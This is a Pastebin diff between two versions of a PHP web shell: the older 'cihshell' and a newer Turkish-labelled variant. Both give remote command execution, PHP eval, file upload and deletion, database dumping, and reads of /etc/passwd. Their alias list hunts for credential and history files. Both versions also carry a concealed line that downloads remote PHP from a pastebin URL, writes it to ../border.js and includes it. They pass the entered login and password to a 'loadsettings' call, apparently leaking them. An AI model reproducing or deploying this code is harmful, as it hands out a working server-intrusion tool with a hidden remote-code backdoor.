View difference between Paste ID: qXrR40Xh and hAKMukYY
SHOW: | | - or go back to the newest paste.
1
<?php
2-
/*
2+
3-
######################################
3+
4-
------------ cihshell ----------------
4+
// Variables
5-
      version: 0.99.1 [beta fix]
5+
6
   $info = @$_SERVER['SERVER_SOFTWARE'];
7
8-
  everything you need is in here
8+
   $page = @$_SERVER['SCRIPT_NAME'];
9-
  * 
9+
10-
  * Default password w0rms / w0rms
10+
   $site = getenv("HTTP_HOST");
11-
  * 
11+
12-
  * 
12+
   $uname = php_uname();
13-
  *
13+
14-
  *  
14+
   $smod = ini_get('safe_mode');
15-
--------------------------------------
15+
16-
########################### /cih.ms/ #
16+
           if ($smod == 0) { $safemode = "<font color='lightgreen'>KAPALI</font>"; }
17-
## add 'touch' & fix filesize by DCRM
17+
18-
*/
18+
           else { $safemode = "<font color='red'>ACIK</font>";      }
19
20-
    $login = 'w0rms';
20+
   $dir = @realpath($_POST['dir']);
21-
    $password = 'w0rms';
21+
22
   $mkdir = @$_POST['makedir'];
23-
# Settings
23+
24-
#   all configurations here
24+
   $mydir = @$_POST['deletedir'];
25
26-
  $auth = 1;     // set this to 0 to switch authentication off
26+
   $cmd = @$_GET['cmd'];
27
28-
  $errors = 0;  // set this to 1 to switch php errors on
28+
   $host = @$_POST['host'];
29-
  $stringnum = 1; // change it to 0, if you don't need string numbers in file viewer
29+
30-
  $hexdump_rows=20; // number of rows in hexdump
30+
   $proto = @$_POST['protocol'];
31-
$alias=array( // aliases for shell. edit them if you need.
31+
32-
'find suid files'=>'find / -type f -perm -04000 -ls',
32+
   $delete = @$_POST['delete'];
33-
'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
33+
34-
'find sgid files'=>'find / -type f -perm -02000 -ls',
34+
   $phpeval = @$_POST['php_eval'];
35-
'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
35+
36-
'find config.inc.php files'=>'find / -type f -name config.inc.php',
36+
   $db = @$_POST['db'];
37-
'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
37+
38-
'find config* files'=>'find / -type f -name "config*"',
38+
   $query = @$_POST['query'];
39-
'find config* files in current dir'=>'find . -type f -name "config*"',
39+
40-
'find all writable files'=>'find / -type f -perm -2 -ls',
40+
   $user = @$_POST['user'];
41-
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
41+
42-
'find all writable directories'=>'find /  -type d -perm -2 -ls',
42+
   $pass = @$_POST['passd'];
43-
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
43+
   error_reporting(0); $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); 
44-
'find all writable directories and files'=>'find / -perm -2 -ls',
44+
$css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');
45-
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
45+
46-
'find all service.pwd files'=>'find / -type f -name service.pwd',
46+
   $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
47-
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
47+
48-
'find all .htpasswd files'=>'find / -type f -name .htpasswd',
48+
   loadsettings($user.'|'.$pass, 'cyberwarrior');
49-
'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
49+
50-
'find all .bash_history files'=>'find / -type f -name .bash_history',
50+
51-
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
51+
52-
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
52+
   $quotes = get_magic_quotes_gpc();
53-
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
53+
54-
'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
54+
if ($quotes == "1" or $quotes == "on")
55-
'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
55+
56-
'list file attributes on a Linux second extended file system'=>'lsattr -va',
56+
   {
57-
'show opened ports'=>'netstat -an',
57+
58-
);
58+
       $quot = "<font color='red'>ACIK</font>";
59-
error_reporting(0); $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); 
59+
60-
	$css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');
60+
   }
61
62
   else
63
64
   {
65
66
       $quot = "<font color='lightgreen'>KAPALI</font>";
67
68
   }
69
70-
 $f = array("SHELL" => "shell","EVAL" => "eval", "MySql Suite" => "mysql", "Server Information" => "server", "Env Informaion" => "envinfo", "PHPinfo" => "phpinfo", "Shell delete" => "delete");
70+
   // Perms
71-
  $ver = '0.99.1 [ beta {fix} ]';
71+
72
    function getperms($fn)
73
74-
session_start();
74+
75-
define("start",atime());
75+
76-
if(isset($_POST['eval'])){error_reporting(E_ALL&~E_NOTICE);}elseif($errors){error_reporting(E_ALL&~E_NOTICE);}else{error_reporting(0);}
76+
$mode=fileperms($fn);
77-
ini_set('max_execution_time',0);
77+
78-
set_magic_quotes_runtime(0);
78+
$perms='';
79-
set_time_limit(0);
79+
80-
if(version_compare(phpversion(), '4.1.0') == -1){$_POST   = &$HTTP_POST_VARS; $_GET= &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; }
80+
$perms .= ($mode & 00400) ? 'r' : '-';
81-
if (get_magic_quotes_gpc()){foreach ($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}foreach ($_SERVER as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_ENV as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_FILES as $key=>$value){$_SERVER[$key] = stripslashes($value);}}
81+
82-
if ($auth == 0) {$_SESSION['logged'] = true;}
82+
$perms .= ($mode & 00200) ? 'w' : '-';
83
84
$perms .= ($mode & 00100) ? 'x' : '-';
85
86-
$safe_mode = ini_get("safe_mode"); if (!$safe_mode) {$safe_mode = 'off';} else {$safe_mode = 'On';}
86+
$perms .= ($mode & 00040) ? 'r' : '-';
87-
$os = null; $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") $os = "win"; else $os = "nix";
87+
88-
if(empty($dir)){ $opsy = getenv('OS');if(empty($opsy)){ $opsy = php_uname(); } if(empty($opsy)){ $opsy ="-"; $os = "nix"; } else { if(eregi("^win",$opsy)) { $os = "win"; }else { $os = "nix"; }}}
88+
$perms .= ($mode & 00020) ? 'w' : '-';
89-
if($os == "nix"){$pwd = exec("pwd");} elseif($os == "win"){$pwd = exec("cd");} if(empty($pwd)) {$pwd = getcwd();}
89+
90
$perms .= ($mode & 00010) ? 'x' : '-';
91
92
$perms .= ($mode & 00004) ? 'r' : '-';
93
94
$perms .= ($mode & 00002) ? 'w' : '-';
95-
# functions
95+
96
$perms .= ($mode & 00001) ? 'x' : '-';
97-
function atime()
97+
98-
{list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}
98+
return $perms;
99
100-
function fperms($file)
100+
101-
{$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';}
101+
102-
elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';}elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info;}
102+
 // milw0rm Search (locushell)
103
104-
function conv_size($size){
104+
 
105-
if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}else {$size = $size . " B";}return $size;}
105+
106
$Lversion = @php_uname('r');
107-
function fileread($opfile)
107+
108-
{$fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);} while(!feof($fh)) {$line = fgets($fh); echo htmlspecialchars($line);}}
108+
$OSV = @php_uname('s');
109
110-
function fileread2($opfile,$stringnum)
110+
if(eregi('Linux',$OSV))
111
112-
 $fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);}
112+
113-
 echo '<table style="font-size:10px; width:100%; margin:0px;  background:#222; ">';
113+
114
$Lversion=substr($Lversion,0,6);
115-
 if ($stringnum){
115+
116-
 $i=1;
116+
$millink="http://milw0rm.com/search.php?dong=Linux Kernel".$Lversion;
117-
 while(!feof($fh)) {
117+
118-
 $line = fgets($fh);
118+
119-
 echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>';
119+
120-
 $i++;
120+
}else{
121-
 }} else {
121+
122-
 while(!feof($fh)) {
122+
$Lversion=substr($Lversion,0,3);
123-
 $line = fgets($fh);
123+
124-
 echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }
124+
$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
125
126-
  echo '</table><br/>';
126+
127
128
if(isset($_POST['milw0'])) { echo "<script>window.location='".$millink."'</script>"; }
129
130-
function safq($query)
130+
   //Space
131
132-
$arr = array();$res = mysql_query($query);
132+
   $spacedir = @getcwd();
133-
if (mysql_num_rows($res) > 0) {$x=0;while($row = mysql_fetch_row($res)){foreach($row as $i => $value) {$column = mysql_field_name($res,$i);$data["$column"] = $value;$arr[$x] = $data;}$x++;}}return $arr;}
133+
134
   $free = @diskfreespace($spacedir);
135-
function cmd_exec($cmd2)
135+
136
   
137-
if (isset($_POST['cmd'])) {$cmd=$_POST['cmd'];} else {$cmd = $cmd2;}
137+
138-
$result = '';
138+
if (!$free) {$free = 0;}
139-
if(isset($_POST['cmdir'])){chdir($_POST['cmdir']);}
139+
140-
if(function_exists('system')){ob_start();system($cmd);$result = ob_get_contents();ob_end_clean();}
140+
   $all = @disk_total_space($spacedir);
141-
elseif(function_exists('exec')){exec($cmd,$result);$result = join("\n",$result);}
141+
142-
elseif(function_exists('shell_exec')){$result = shell_exec($cmd);}
142+
if (!$all) {$all = 0;}
143-
elseif(function_exists('passthru')){ob_start();passthru($cmd);$result = ob_get_contents();ob_end_clean();}
143+
144-
elseif(is_resource($f = popen($cmd,"r"))){$result = "";while(!feof($f)) { $result .= fread($f,1024); }pclose($f);}
144+
function view_size($size)
145-
echo $result;
145+
146
{
147
148-
function code_eval()
148+
 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
149-
{if (isset($_POST['eval'])){echo "\n result is:<br/><br/>";eval($_POST['eval']);}}
149+
150
 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
151-
function error($text, $ver)
151+
152
 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
153-
echo '
153+
154-
<div class="notice">
154+
 else {$size = $size . " B";}
155-
<p align="left" style="padding-left:15px;"><b>error occured:</b></p></div>
155+
156-
<div class="notice" style="margin-bottom:0px; border-bottom:2px solid #222;">
156+
 return $size;
157-
<textarea cols="100" rows="15" style="width:98%;" class="txt"> ';
157+
158-
echo $text;echo '</textarea></div>'; do_footer($ver); die();
158+
159
160
$percentfree = intval(($free*100)/$all);
161-
function notice($text)
161+
162
163-
echo "<div class='notice'>$text</div>";
163+
164
165
166
// PHPinfo
167-
function do_header($f, $auth, $os, $path)
167+
168
if(isset($_POST['phpinfo']))
169-
echo '<html><head>';
169+
170-
if (isset($_POST['cmd']) || isset($_POST['alias'])) {echo '<meta http-equiv="Content-Type" content="text/html; charset=cp866">'; } else{echo'<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">';}
170+
171-
echo'
171+
172-
<title> CIH.[ms] WebShell </title>
172+
die(phpinfo());
173
174-
body{background:#333; color:#999;font-family:Verdana, Arial;font-size:10px; padding:0px; margin:0px;}
174+
175-
.logo {color:#999; font-family:Verdana, Arial; font-size:23px; text-align:left; padding-left:5px; padding-top:0px;  margin-bottom:2px;}
175+
176-
.m {color:#888;font-family:Verdana, Arial;font-size:10px;  text-align:right; width:80px;background:#2c2c2c; border: 0px; border-right:1px solid #444; cursor:pointer; cursor:hand;}
176+
   
177-
.m2 {background:#2c2c2c;color:#999;font-size:10px;font-family:Verdana;border: 0px; padding:3px; width:100%; cursor:pointer; cursor:hand;}
177+
178-
.m2:hover {color:#ccc; background:#292929;}
178+
179-
.i {color:#555;font-family:Verdana, Arial;font-size:10px;  text-align:right;}
179+
180-
.notice {background:#252525; padding:4px; margin-bottom:2px;}
180+
// Make File
181-
.footer {font-family:Verdana;font-size:10px;  background:#252525; color:#555; padding:4px; border-bottom:1px solid #222; border-left:1px solid #444; border-right:1px solid #444; text-align:center;}
181+
182-
.txt {background:#222; border:1px solid #333; color:#999; font-family:Verdana, Arial;font-size:10px; padding:5px;}
182+
183-
.butt1 {height:20px; width:20px; padding:2px;border:1px solid #222;background:#333; color:#999; font-family:Verdana, Arial;font-size:10px;}
183+
184-
.filet {color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}
184+
   $name = htmlspecialchars(@$_POST['names']);
185-
.ico {color:#555;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}
185+
186-
.dir { cursor:pointer; cursor:hand;background:#252525;color:#999;font-weight:bold;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center; border:0px;}
186+
   $src = @$_POST['source'];
187-
.file { cursor:pointer; cursor:hand; background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;border:0px; margin:0px;}
187+
188-
.file:hover, .dir:hover {color:#ccc;}
188+
    if(isset($name) && isset($src))
189-
.str{background:#242424; padding:8px; color:#999; font-size:10px; border-bottom:1px solid #292929; border-top:1px solid #292929; margin-top:15px; text-align:left}
189+
190-
.my{background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left;border:0px;}
190+
      {
191-
.form {background:#232323; height:22px; border:1px solid #2e2e2e; width:98%; padding:4px; color:#999; font-family:Verdana, Arial;font-size:10px; }
191+
192-
.fm {background:#272727; border:0px; color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px;}
192+
	  if($_POST['darezz'] != realpath("."))  { $name = $_POST['darezz'].$name; } 
193-
.fa {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px;  text-align:right; border: 0px; width:100%; height:100%; padding:10px; text-align:center;}
193+
194-
.fa1 {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px;  text-align:right; border: 0px; width:100%; height:100%; padding:2px; text-align:center;}
194+
   $ctd = fopen($name,"w+");
195-
.fa:hover, .fa1:hover {background:#292929; color:#ccc;}
195+
196
   fwrite($ctd, $src);
197
198-
<body><div style="position:absolute; left:0px; top:0px; background:#333; text-align:center; padding-left:100px; padding-right:100px; height:90%">
198+
   fclose($ctd);
199-
<div style="background:#222; margin:0px; border-left:1px solid #444; border-right:1px solid #444; padding-left:0px; padding-right:0px;">
199+
200-
<table style="width:100%; height:25px;">
200+
   echo "<script>alert('Uploaded')</script>";
201-
   <tr style="background:#2c2c2c;">
201+
202-
    <td style="color:#666; font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left; padding-left:6px;">
202+
      }
203-
   cihshell on <b>'.$_SERVER['HTTP_HOST'].'</b>
203+
204-
    </td>';
204+
205
206
// Upload File
207-
echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$path."' class='m2'><td class='m'><input type='submit'  value='main' class='m2'></td>";
207+
208-
foreach($f as $k=>$v)
208+
   $path = @$_FILES['ffile']['tmp_name'];
209-
 {
209+
210-
  echo "
210+
   $name = @$_FILES['ffile']['name'];
211-
        <!-- $k -->
211+
212-
        <td class='m'><input type='submit' name='do' value='$v' class='m2'></td>
212+
   if(isset($path) && isset($name))
213-
       ";
213+
214-
    }
214+
{  
215
216-
if($auth){echo "<td class='m'><input type='submit' name='do' value='logout' class='m2'></td>";}
216+
if($_POST['dare'] != realpath("."))  { $name = $_POST['dare'].$name; } 
217-
$disfun = ini_get('disable_functions');
217+
218-
$safe_mode = ini_get("safe_mode");
218+
   if(move_uploaded_file($path, $name))
219-
if (!$safe_mode) {$safe_mode = 'Off';} else {$safe_mode = 'On';}
219+
220-
$mysql_try = function_exists('mysql_connect');
220+
   {
221-
if($mysql_try){ $mysql = 'On';} else {$mysql = 'Off';}
221+
222-
$pg_try = function_exists('pg_connect');
222+
      echo "<script>alert('Uploaded')</script>";
223-
if($pg_try){$pg = 'On';}else{$pg = 'Off';}
223+
224-
$mssql_try = function_exists('mssql_connect');
224+
   }
225-
if($mssql_try){$mssql = 'On';}else{$mssql = 'Off';}
225+
226-
$ora_try = function_exists('ocilogon');
226+
   else
227-
if($ora_try){$ora = 'On';}else{$ora = 'Off';}
227+
228-
$curl_try = function_exists('curl_version');
228+
   {
229-
if($curl_try) {$curl = 'On';} else {$curl = 'Off';}
229+
230-
$perms = fperms($path);
230+
      echo "<script>alert('Error')</script>";
231-
echo ' </tr>
231+
232
}   }
233
234-
<table style="width:100%; margin-top:5px;"><tr>
234+
235-
<td class="logo" style="width:120px;">CIH.<span style="color:#555">[</span><span style="color:#888">ms</span><span style="color:#555">]</span></td>
235+
236-
<td class="i" style="padding-right:5px; text-align:right;">
236+
// Delete File
237-
<nobr><b style="color:#666"><i>'.$perms.'</i></b>  <span style="color:#333">|</span></nobr>
237+
238-
<nobr>OS: <b>'.php_uname().'</b>  <span style="color:#333">|</span></nobr>
238+
239-
<nobr>safe mode: <b>'.$safe_mode.'</b>  <span style="color:#333">|</span></nobr>
239+
240-
<nobr>cURL: <b>'.$curl.'</b>  <span style="color:#333">|</span></nobr>
240+
   
241-
<nobr>MySQL: <b>'.$mysql.'</b>  <span style="color:#333">|</span></nobr>
241+
242-
<nobr>MSSQL: <b>'.$mssql.'</b> <span style="color:#333">|</span></nobr>
242+
   if(isset($delete) && $delete != $dir)
243-
<nobr>PostgreSQL: <b>'.$pg.'</b> <span style="color:#333">|</span></nobr>
243+
244-
<nobr>Oracle: <b>'.$ora.'</b> <span style="color:#333">|</span></nobr>
244+
245-
PHP:  <b>'.phpversion().'</b>
245+
246
      if(file_exists($delete))
247
248-
</tr></table>
248+
      {
249-
<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:5px;">&nbsp;</div>';
249+
250-
if (!empty($disfun)){ echo '<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:10px; color:#666; text-align:right; padding:5px;"><b>disabled functions:&nbsp;</b>'.$disfun.'</div>';}
250+
         unlink($delete);
251
252
         echo "<script>alert('File Deleted')</script>";
253
254-
function do_footer($ver)
254+
      }
255
256-
echo '</div>
256+
257-
<div class="footer">
257+
258-
<span style="float:right; color:#333;">'.round(atime()-start,5).'</span>
258+
259-
<b><form method="post" style="margin:0px;">&copy;</b><input type="submit" value="cihshell" name="do"
259+
260-
style="border:0px; background:#252525; font-weight:bold;  padding:0px;" class="footer"/>&nbsp;&nbsp;version : '.$ver.'</form>
260+
261-
</div></div></body></html>';
261+
262
// Database
263
264-
# end of functions
264+
   
265-
#
265+
266-
if (!empty($_POST['login']) && !empty($_POST['password'])){
266+
   if(isset($db) && isset($query) && isset($_POST['godb']))
267-
loadsettings($_POST['login'] . '|' . $_POST['password'], 'cihshell');
267+
268-
if ($_POST['login'] == $login && $_POST['password'] == $password){
268+
269-
$_SESSION['logged'] = true;} else {echo '
269+
270-
<html><head><style>body{background:#333;}</style><title>login </title></head>
270+
   $mysql = mysql_connect("localhost", $user, $pass)or die("<script>alert('Connection Failed')</script>");
271-
<body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:">
271+
272
   $db = mysql_select_db($db)or die(mysql_error());
273-
<td><form method="post" style="margin:0px; padding:)px;">
273+
274-
login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;
274+
   $queryz = mysql_query($query)or die(mysql_error());
275-
password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;
275+
276-
<input type="submit"  style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr><tr><td style="text-align:center; color:#666;">incorrect login or password</td></tr></table></body></html>'; die();}}
276+
if($query) { echo "<script>alert('Done')</script>"; }
277
278-
if (isset ($_POST['do']) && $_POST['do']=='logout') { unset($_SESSION['logged']); }
278+
else { echo "<script>alert('Error')</script>"; }
279
280-
if ($_SESSION['logged'] == true){
280+
281-
if (isset($_POST['do']) && $_POST['do']=='phpinfo'){echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>'; phpinfo();echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>';die();}
281+
282-
if (isset($_POST['fdo']) && isset($_POST['ffile'])){
282+
283-
$ffile = $_POST['ffile'];
283+
284-
switch($_POST['fdo']){
284+
// Dump Database [pacucci.com]
285-
case 'download':
285+
286-
$fl = $_POST['filename'];header("Content-type: application/x-octet-stream");header("Content-disposition: attachment; filename=".$fl.";");readfile($ffile);die();break;
286+
if(isset($_POST['dump']) && isset($user) && isset($pass) && isset($db)){
287
288-
case 'preview':
288+
mysql_connect('localhost', $user, $pass);
289-
include($_POST['ffile']);die(); break;
289+
290-
}}
290+
mysql_select_db($db);
291
292-
if(isset($_POST['f_file']))
292+
$tables = mysql_list_tables($db);
293
294-
 if ($_POST['f_file'] == "..")
294+
while ($td = mysql_fetch_array($tables))
295-
  { $slashpos = strpos($_POST['f_path'], strrchr($_POST['f_path'], "/"));
295+
296-
$path = substr($_POST['f_path'], 0, $slashpos);
296+
297-
  } else {$path = $_POST['f_path']."/".$_POST['f_file'];}
297+
298
$table = $td[0];
299
300-
elseif(isset($_POST['path']))
300+
$r = mysql_query("SHOW CREATE TABLE `$table`");
301-
{$path = $_POST['path'];}
301+
302-
else {$path =  $pwd;}
302+
if ($r)
303
304-
if(isset($_POST['restore'])){$path = $pwd;}
304+
305-
$path = str_replace("\\", "/", $path);$path = str_replace("'", "", $path);
305+
306
$insert_sql = "";
307
308
$d = mysql_fetch_array($r);
309-
do_header($f, $auth, $os, $path);
309+
310
$d[1] .= ";";
311-
echo '<table class="notice" style="width:100%; margin-bottom:7px; background:#272727"><tr>
311+
312-
<form method="post" action="" style="padding:0px; margin:0px;">
312+
$SQL[] = str_replace("\n", "", $d[1]);
313-
<td style="width:50px;">
313+
314-
<input type="hidden" value="'.$path.'" name="f_path">
314+
$table_query = mysql_query("SELECT * FROM `$table`");
315-
<input type="submit" value=".." name="f_file" class="butt1">
315+
316-
<input type="submit" value="."  name="restore" class="butt1"></td>
316+
$num_fields = mysql_num_fields($table_query);
317-
<td></form>
317+
318-
<form method="post" action="" style="padding:0px; margin:0px;">
318+
while ($fetch_row = mysql_fetch_array($table_query))
319-
<input type="text" size="78"  value="'.$path.'" name="path" style=" width:90%; height:20px; padding:3px;border:1px solid #222;background:#2c2c2c; color:#999; font-family:Verdana, Arial;font-size:10px;" >
319+
320-
<input type="submit" value="go" class="butt1" style="width:30px; height:21px;">
320+
321-
</form></td>
321+
322-
</tr></table>';
322+
$insert_sql .= "INSERT INTO $table VALUES(";
323
324-
# Safe-mode
324+
for ($n=1;$n<=$num_fields;$n++)
325-
#          working
325+
326-
if (isset($_POST['safe_mode'])){
326+
327
328
$m = $n - 1;
329-
<table style='width:100%; font-size:10px;'>
329+
330-
<tr style='background:#272727;' ><td  style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>
330+
$insert_sql .= "'".mysql_real_escape_string($fetch_row[$m])."', ";
331-
<tr style='background:#242424;' ><td style='padding:10px;'><form action='' method='post' style='padding:0px; margin:0px;'>
331+
332-
<input type='text' name='sm_inc' style='width:80%;' class='form' value='/etc/passwd'/>
332+
333-
<input class='form' style='width:60px;'  type='submit' value='try'></form></td></tr>
333+
334-
<tr style='background:#252525;'><td  style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>
334+
$insert_sql = substr($insert_sql,0,-2);
335-
<tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr>
335+
336
$insert_sql .= ");\n";
337-
<tr style='background:#272727;' ><td  style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>
337+
338-
<tr style='background:#242424;' >
338+
339-
<td style='padding:10px;'>
339+
340-
<form action='' method='post' style='padding:0px; margin:0px;'>
340+
if ($insert_sql!= "")
341-
<input type='text' name='mysql_host' style='width:15%;' class='form' value='localhost'/>
341+
342-
<span style='margin-left:5px; margin-right:5px;'>:</span><input type='text' name='mysql_port' style='width:40px' class='form' value='3306'/>
342+
343-
<span style='margin-left:5px; margin-right:5px;'>database:</span><input type='text' name='mysql_db' style='width:15%;' class='form' value='dbname'/>
343+
344-
<span style='margin-left:5px; margin-right:5px;'>login:</span><input type='text' name='mysql_login' style='width:15%;' class='form' value='dblogin'/>
344+
$SQL[] = $insert_sql;
345-
<span style='margin-left:5px; margin-right:5px;'>password:</span><input type='text' name='mysql_passw' style='width:15%;' class='form' value='dbpassword'/>
345+
346-
<input type='text' name='mysql_file' style='margin-top:3px;width:700px;' class='form' value='/etc/passwd'/><br/>
346+
347-
<input type='submit' name='sm_mysql' value='try' class='form' style='margin-top:8px;width:50px;'>
347+
348-
</form></td></tr>
348+
349-
<tr style='background:#252525;'><td  style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>
349+
350-
<tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr>
350+
351
352
$dump = "-- Database: ".$_POST['db'] ." \n";
353-
do_footer($ver); die();
353+
354
$dump .= "-- CWShellDumper v3\n";
355-
# Safe_Mode functions
355+
356-
if (isset($_POST['sm_inc']))
356+
$dump .= "-- c99php.com\n";
357
358-
echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";
358+
$dumpp = $dump.implode("\r", $SQL);
359-
include($_POST['sm_inc']);
359+
360-
echo "</textarea><br/><input type='button' class='form' value='go back'   onClick='javascript:history.back();'><br/><br/>";
360+
$name = $db."-".date("d-m-y")."cyberwarrior.sql";
361-
do_footer($version); die();}
361+
362
Header("Content-type: application/octet-stream"); 
363-
if(isset($_POST['sm_mysql']))
363+
364
Header("Content-Disposition: attachment; filename = $name");
365-
echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";
365+
366-
if(!isset($_POST['mysql_port']) || empty($_POST['mysql_port'])) { $_POST['mysql_port'] = "3306"; }
366+
echo $dumpp; 
367-
$db = mysql_connect($_POST['mysql_host'].':'.$_POST['mysql_port'],$_POST['mysql_login'],$_POST['mysql_passw']);
367+
368-
if($db){
368+
die();
369-
if(mysql_select_db($_POST['mysql_db'],$db))
369+
370-
{$sql = "DROP TABLE IF EXISTS cih_tb;"; mysql_query($sql);
370+
371-
 $sql = "CREATE TABLE `cih_tb` ( `file` LONGBLOB NOT NULL );";
371+
372-
 mysql_query($sql);$sql = "LOAD DATA INFILE \"".$_POST['mysql_file']."\" INTO TABLE cih_tb;";
372+
373-
 mysql_query($sql);$sql = "SELECT * FROM cih_tb;";
373+
374-
$r = mysql_query($sql);
374+
375-
while(($r_sql = mysql_fetch_array($r))) { echo htmlspecialchars($r_sql[0]); }
375+
376-
$sql = "DROP TABLE IF EXISTS cih_tb;";
376+
377-
mysql_query($sql);
377+
378-
}else echo "Can\'t select database";
378+
379-
mysql_close($db);
379+
380-
}else echo "-- Could not connect to MySQL server";
380+
381-
echo "</textarea><br/><input type='button' class='form' value='go back'   onClick='javascript:history.back();'><br/><br/>";
381+
382-
do_footer($version);die();}
382+
383
384
		$p = str_replace('%param2', $p2, $p);
385
386-
if ($safe_mode == "On" && !isset($_POST['safe_mode']))
386+
387
388-
notice('<form method="post" style="margin:0px;"><b>safe_mode</b> is <b>On.</b><input type="submit" name="safe_mode" value="Click on this message to start working" style="font-size:10px; color:#999; font-family:Verdana;border:0px; background:#252525;"/></form>');
388+
389
390
391-
if (isset($_POST['fileact'])){switch($_POST['fileact']){
391+
392-
case 'New File':
392+
// Make Dir
393-
$cdir = $_POST['curdir'];
393+
394-
echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:98%;' name='wrcont'></textarea>
394+
if(isset($mkdir)) {
395
396-
<input type='hidden' name='path' value='".$_POST['curdir']."'><input type='hidden' name='curdir' value='".$_POST['curdir']."'>
396+
397-
<input type='text' name='nfname' class='form' style='width:28%; background:#252525;margin-bottom:1px; margin-right:1px;' value='file.txt'><input type='submit' name='wrfile' class='form' value='create file' style='width:70%'></form><br/>";
397+
398-
do_footer($ver); die();break;
398+
mkdir($mkdir);
399
400-
case 'New Dir':
400+
if($mkdir) { echo "<script>alert('Tamamdýr.')</script>"; } }
401-
$curdir = $_POST['curdir'];
401+
402-
echo "<form method='post' action='' style='margin:0px;'><input type='hidden' name='curdir' value='$curdir'><input type='hidden' name='path' value='$curdir'><input type='text' name='dirname' class='form'  style='width:90%; margin-right:1px;' size='100'><input type='submit' style='width:60px;' class='form' value='go!'></form><br/>";
402+
403-
